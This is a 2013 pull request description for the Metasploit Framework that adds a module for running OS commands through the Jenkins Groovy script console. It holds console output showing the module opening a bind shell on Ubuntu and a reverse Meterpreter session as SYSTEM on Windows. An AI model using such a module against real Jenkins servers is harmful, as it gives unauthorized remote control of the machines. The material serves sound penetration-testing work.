rapid7/metasploit-framework — pull request #1338 by zeroSteiner (2013-01-18 20:14:01+00:00)
Title: add module to execute commands via Jenkins Script Console

This pull requests introduces a module to execute OS commands via the Groovy script console of Jenkins continuous integration server. It's been tested on Windows as well as Ubuntu on versions 1.496 and 1.499 (latest).

Jenkins can be found here: http://jenkins-ci.org/

Ubuntu output
```
msf (S:4 J:0) exploit(jenkins_script_console) > exploit

[*] Started bind handler
[*] Checking access to the script console
[*] Logging in...
[*] 172.20.220.117:8080 - Sending payload...
[*] Command shell session 10 opened (172.20.220.153:39165 -> 172.20.220.117:4444) at 2013-01-18 14:31:02 -0500

id
uid=999(tomcat) gid=999(tomcat) groups=999(tomcat)
```

Windows output
```
msf (S:4 J:0) exploit(jenkins_script_console) > exploit

[*] Started reverse handler on 192.168.90.1:4444
[*] Checking access to the script console
[*] Logging in...
[*] 192.168.90.145:8080 - Sending VBS stager...
[*] Command Stager progress - 2.01% done (2048/101881 bytes)
[*] Command Stager progress - 4.02% done (4096/101881 bytes)
[*] Command Stager progress - 6.03% done (6144/101881 bytes)
...
[*] Command Stager progress - 96.49% done (98304/101881 bytes)
[*] Command Stager progress - 98.50% done (100348/101881 bytes)
[*] Command Stager progress - 100.00% done (101881/101881 bytes)
[*] Sending stage (752128 bytes) to 192.168.90.145
[*] Meterpreter session 11 opened (192.168.90.1:4444 -> 192.168.90.145:4390) at 2013-01-18 15:12:36 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```